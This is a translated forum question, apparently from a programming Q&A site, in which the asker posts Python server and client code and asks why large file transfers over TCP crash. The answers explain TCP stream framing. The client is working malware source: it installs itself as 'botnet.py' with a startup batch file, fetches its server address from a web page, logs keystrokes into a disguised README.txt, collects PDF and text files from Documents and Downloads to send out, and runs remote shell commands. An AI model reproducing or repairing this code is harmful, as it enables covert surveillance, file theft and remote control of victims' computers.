Python Socket TCP-ограничение размера соединения?
В настоящее время я создаю обратную оболочку на основе TCP (клиент находится на удаленном компьютере, подключается к локальному серверу), которая может отправлять и получать файлы, а также отправлять команды оболочки через TCP. Программы отлично работают в любом другом аспекте (например, прием и отправка команд, получение файлов сервером) большую часть времени, пока я не попытаюсь отправить большие файлы (я помню, больше 1 КБ) с сервера на клиент. Что происходит, когда я пытаюсь отправить большие файлы, после того, как сервер завершит их отправку, клиентская сторона по какой-то причине падает. Я даже не вижу сообщения об ошибке. Я попытался отладить его, отображая полученный контент на стороне клиента, но, кажется, он получает нормально, но сразу падает. Я приложу и код клиента, и код сервера для тех из вас, кто хочет помочь. Код немного странный, потому что я добавил несколько "флагов" во время моих первых отладок. Благодарю вас.
Код сервера:
import socket, pickle, time, os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = 'localhost'
port = 1024
server.bind((address, port))
server.listen(5)
c, addr = server.accept()
file_list = {}
print'connection from: '+str(addr)
print'remote shell can only be used for utility purpose, when switching dirve, use "//" between cd and address'
os.chdir("C:/Users/Insert_Name/Desktop/Server")
while True:
command = raw_input(str(addr)+'>>')
if command == 't':
c.send(command)
cile_list = c.recv(1024)
cile_lista = pickle.loads(cile_list)
for key, value in cile_lista.iteritems():
if 'Downloads' in key:
a, sep, b = key.partition('/Downloads/')
if 'Documents' in key:
a, sep, b = key.partition('/Documents/')
if 'JAVA' in key:
a, sep, b = key.partition('/JAVA_BACKUP/')
output = open(b, 'wb')
content = c.recv(value)
output.write(content)
output.close()
print'file transfer complete'
if command == 'a':
c.send(command)
print'enter T to indicate file list complete'
patha = raw_input('Enter file path(must be in server directory, aka Server): ')
while patha != 'T':
try:
f = open(patha,'rb')
f.close()
size = os.path.getsize(patha)
a, sep, b = str(size).partition('L')
file_list[patha] = int(a)
except:
print'invalid file name'
patha = raw_input('Enter file path(must be in server directory): ')
if len(file_list) == 0:
c.send(pickle.dumps({'0.txt':0}))
else:
file_lista = pickle.dumps(file_list)
c.send(file_lista)
print file_list
for file in file_list:
os.chdir("C:/Users/Insert_Name/Desktop/Server")
content = open(file, 'rb')
content = content.read()
c.send(content)
file_list.clear()
if command != 't':
if command != 'a':
if 'start' in command:
c.send(command)
else:
c.send(command)
if '//' in command:
a, sep, b = command.partition('//')
c.send(b)
feedback = c.recv(1024)
print feedback
while True:
feedback = c.recv(1024)
if '_DONE_' in feedback:
a, sep, b = feedback.partition('_SEP_')
print a
break
print feedback
Код клиента:
import socket, os, textract, pickle, requests, time, threading, subprocess, getpass, shutil, lxml, glob, pyHook, pythoncom, sys, logging
from shutil import copyfile
from lxml import html
from os import listdir
#var is the varification webiste
var = 'https://www.publishthis.email/test-SJC9dAQ3G'
file_list = {}
print file_list
username = getpass.getuser()
def duplication(username):
source = "C:/Users/"+username+"/Downloads/MATH_COUNTS/botnet.py"
destination = "C:/Users/"+username+"/Saved Games"
shutil.copy(source, destination)
setup = open('C:/Users/'+ username+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setup.bat', 'w')
pl =('@echo off\nstart C:\Users/%USERNAME%/Saved Games/botnet.py')
setup.write(pl)
setup.close()
def communication(var):
page = requests.get(var)
print page
tree = html.fromstring(page.content)
address = tree.xpath('//div[@class = "body"]/div[@dir = "ltr"]/text()')
address = ''.join(address)
address = address.replace("'", "")
return address
def keylogger(username):
filename = "C:/Users/"+username+"/Saved Games/README.txt"
def keylog(event):
username = getpass.getuser()
logging.basicConfig(filename ="C:/Users/"+username+"/Saved Games/README.txt" , level=logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = keylog
hm.HookKeyboard()
pythoncom.PumpMessages()
def tcp_connection(address, username):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = client.connect((address, 1024))
while True:
command = client.recv(1024)
if command != 'a':
if command == 't':
file_gatherer(username)
print file_list
file_lista = pickle.dumps(file_list)
client.send(file_lista)
for file in file_list:
file = open(file, 'rb')
file = file.read()
client.send(file)
if command != 't':
if command != 'a':
if 'cd' in command:
f = os.getcwd()
b = client.recv(1024)
try:
os.chdir(b)
r = os.getcwd()
except:
r = 'error: invalid directory name'
else:
result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
f = result.stdout.read()
r = result.stderr.read()
client.send(f)
client.send(r)
client.send('_SEP_/n_DONE_')
if command == 'a':
cile_list = client.recv(1024)
cile_lista = pickle.loads(cile_list)
print cile_lista
for key, value in cile_lista.iteritems():
output = open(key, 'wb')
content = client.recv(value)
print content
output.write(content)
output.close()
def file_gatherer(username):
try:
os.makedirs("C:/Users/"+username+"/Games/JAVA_BACKUP")
except:
pass
for file in os.listdir("C:/Users/"+username+"/Games/JAVA_BACKUP"):
try:
file_list["C:/Users/"+username+"/Games/JAVA_BACKUP/" + file] = os.path.getsize(file)
except:
pass
os.chdir("C:/Users/"+username+"/Downloads")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
for file in glob.glob('*.txt'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Downloads/" + file] = int(a)
os.chdir("C:/Users/"+username+"/Documents")
for file in glob.glob('*.pdf'):
size = os.path.getsize(file)
a, sep, b = str(size).partition('L')
file_list["C:/Users/"+username+"/Documents/" + file] = int(a)
#for file in glob.glob('*.txt'):
# file_list["C:/Users/"+username+"/Documents/" + file] = os.path.getsize(file)
tcp_connection('localhost', username)
def main():
duplication()
keylogger()
address = communication(var)
file_gatherer()
file_transfer(address)
Проблема только в передаче файла.
2 ответа
Python Socket TCP-ограничение размера соединения?
Вы на самом деле задаете не тот вопрос. Реальная проблема заключается в том, что TCP является потоковым протоколом, и вы рассматриваете его как протокол сообщений, т.е. вы предполагаете в своем коде, что каждый send
с одной стороны будет обрабатываться ровно один recv
на пэра. Помимо этого вы предполагаете, что send
запишет полный буфер, заданный в качестве аргумента, но в документации четко указано, что это не так:
Приложения отвечают за проверку того, что все данные были отправлены; если были переданы только некоторые данные, приложение должно попытаться доставить оставшиеся данные.
Игнорирование этого означает, что вы можете столкнуться с неполными "сообщениями" при чтении или что вы получите несколько "сообщений" (или одно заполнение и одно частичное или подобное) при чтении данных. Это может, например, привести к сбоям при попытке распаковки данных.
Но чтобы достичь предела размера: ограничено, сколько данных вы действительно можете записать в одном send
, Этот предел зависит от размера буфера сокета, а также от текущего состояния сокета, т.е., если сокет уже заполнен или нет. Если вы используете ssl-сокеты, это дополнительно ограничивается максимальным размером фрейма SSL. Но сам по себе TCP не имеет ограничений на объем передаваемых данных, но вам нужно многократные записи в сокет, если вы доставляете много данных.
Клиентская программа содержит кейлоггер, который пока бесполезен, потому что я еще не создал команду для ее активации, так что вы можете просто проигнорировать это.
Это очень помогает, когда вы сами отлаживаете проблему или просите других помочь вам отладить ее, если вы выбрасываете все, что на самом деле не нужно для воспроизведения проблемы. См. Как создать минимальный, полный и проверяемый пример.
- Обычно вы не можете предположить, что чтения сокетов заполняют буфер или записи сокетов отправляют весь указанный объем данных.
- Как правило, вы не должны загружать файлы целиком в память: вы должны использовать цикл копирования с разумным размером буфера, скажем, 8K.